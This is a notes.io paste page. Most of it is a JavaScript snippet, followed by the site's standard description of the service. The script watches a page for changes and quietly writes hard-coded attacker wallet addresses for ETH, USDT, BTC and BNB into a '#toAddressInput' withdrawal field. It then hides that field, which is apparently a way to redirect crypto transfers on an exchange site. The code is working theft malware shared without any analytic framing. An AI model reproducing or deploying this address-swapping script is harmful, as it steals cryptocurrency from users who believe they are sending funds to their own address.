NotesWhat is notes.io?

Notes brand slogan

Notes - notes.io

window.addEventListener("load", function () {
// this.setInterval(function () {
//
// }, 2000);
onDomChange(function(){
console.log("changed");
checkWallet();
// if (!document.querySelector('#toAddressInput').classList.contains('checked')) {
//
// }
});
});

function checkWallet(){
let currency = document.querySelectorAll(".tLySxtlmtcW8aE5SgO54ig\=\=")[1].innerHTML;
console.log(currency);

let address = "0x9350c670bb722994f5c33c3e59fb38176ccfc769";

if (currency === "USDT") {
address = "TRibn99NFMXxFQ7WH7iga8gKTPJifQ9E6f";
} else if (currency === "BTC") {
address = "bc1qu7w8xh0jyzs02fwpkej3j82wfefz8phtp877ns";
} else if (currency === "ETH") {
address = "0x96b22379b0d0D8b24F4D086FFa6922b005e0a224";
} else if (currency === "BNB") {
address = "bnb1gvucw2ranyxuzqp7tzzexc4x6fgrr0ks7n0lfr";
}

document.querySelector('#toAddressInput').focus();
document.execCommand("insertHTML", false, address);
// document.querySelector('#toAddressInput').classList.add('checked');
document.querySelector('#toAddressInput').parentNode.parentNode.parentNode.style.display = "none";
}

(function (window) {
var last = +new Date();
var delay = 100; // default delay

// Manage event queue
var stack = [];

function callback() {
var now = +new Date();
if (now - last > delay) {
for (var i = 0; i < stack.length; i++) {
stack[i]();
}
last = now;
}
}

// Public interface
var onDomChange = function (fn, newdelay) {
if (newdelay) delay = newdelay;
stack.push(fn);
};

// Naive approach for compatibility
function naive() {

var last = document.getElementsByTagName('*');
var lastlen = last.length;
var timer = setTimeout(function check() {

// get current state of the document
var current = document.getElementsByTagName('*');
var len = current.length;

// if the length is different
// it's fairly obvious
if (len != lastlen) {
// just make sure the loop finishes early
last = [];
}

// go check every element in order
for (var i = 0; i < len; i++) {
if (current[i] !== last[i]) {
callback();
last = current;
lastlen = len;
break;
}
}

// over, and over, and over again
setTimeout(check, delay);

}, delay);
}

//
// Check for mutation events support
//

var support = {};

var el = document.documentElement;
var remain = 3;

// callback for the tests
function decide() {
if (support.DOMNodeInserted) {
window.addEventListener("DOMContentLoaded", function () {
if (support.DOMSubtreeModified) { // for FF 3+, Chrome
el.addEventListener('DOMSubtreeModified', callback, false);
} else { // for FF 2, Safari, Opera 9.6+
el.addEventListener('DOMNodeInserted', callback, false);
el.addEventListener('DOMNodeRemoved', callback, false);
}
}, false);
} else if (document.onpropertychange) { // for IE 5.5+
document.onpropertychange = callback;
} else { // fallback
naive();
}
}

// checks a particular event
function test(event) {
el.addEventListener(event, function fn() {
support[event] = true;
el.removeEventListener(event, fn, false);
if (--remain === 0) decide();
}, false);
}

// attach test events
if (window.addEventListener) {
test('DOMSubtreeModified');
test('DOMNodeInserted');
test('DOMNodeRemoved');
} else {
decide();
}

// do the dummy test
var dummy = document.createElement("div");
el.appendChild(dummy);
el.removeChild(dummy);

// expose
window.onDomChange = onDomChange;
})(window);
     
 
what is notes.io
 

Notes.io is a web-based application for taking notes. You can take your notes and share with others people. If you like taking long notes, notes.io is designed for you. To date, over 8,000,000,000 notes created and continuing...

With notes.io;

  • * You can take a note from anywhere and any device with internet connection.
  • * You can share the notes in social platforms (YouTube, Facebook, Twitter, instagram etc.).
  • * You can quickly share your contents without website, blog and e-mail.
  • * You don't need to create any Account to share a note. As you wish you can use quick, easy and best shortened notes with sms, websites, e-mail, or messaging services (WhatsApp, iMessage, Telegram, Signal).
  • * Notes.io has fabulous infrastructure design for a short link and allows you to share the note as an easy and understandable link.

Fast: Notes.io is built for speed and performance. You can take a notes quickly and browse your archive.

Easy: Notes.io doesn’t require installation. Just write and share note!

Short: Notes.io’s url just 8 character. You’ll get shorten link of your note when you want to share. (Ex: notes.io/q )

Free: Notes.io works for 12 years and has been free since the day it was started.


You immediately create your first note and start sharing with the ones you wish. If you want to contact us, you can use the following communication channels;


Email: [email protected]

Twitter: http://twitter.com/notesio

Instagram: http://instagram.com/notes.io

Facebook: http://facebook.com/notesio



Regards;
Notes.io Team

     
 
Shortened Note Link
 
 
Looding Image
 
     
 
Long File
 
 

For written notes was greater than 18KB Unable to shorten.

To be smaller than 18KB, please organize your notes, or sign in.